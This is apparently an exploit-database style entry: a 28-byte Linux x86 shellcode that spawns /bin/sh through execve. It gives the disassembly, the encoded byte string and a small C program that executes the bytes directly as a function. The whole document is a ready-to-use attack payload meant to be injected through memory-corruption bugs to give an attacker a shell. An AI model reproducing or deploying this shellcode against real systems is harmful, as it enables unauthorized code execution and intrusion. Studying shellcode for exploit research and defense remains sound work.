Linux x86 execve("/bin/sh") - 28 bytes

/*
Title:	Linux x86 execve("/bin/sh") - 28 bytes
Author:	Jean Pascal Pereira <pereira@secbiz.de>
Web:	http://0xffe4.org


Disassembly of section .text:

08048060 <_start>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80



*/

#include <stdio.h>

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";

int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}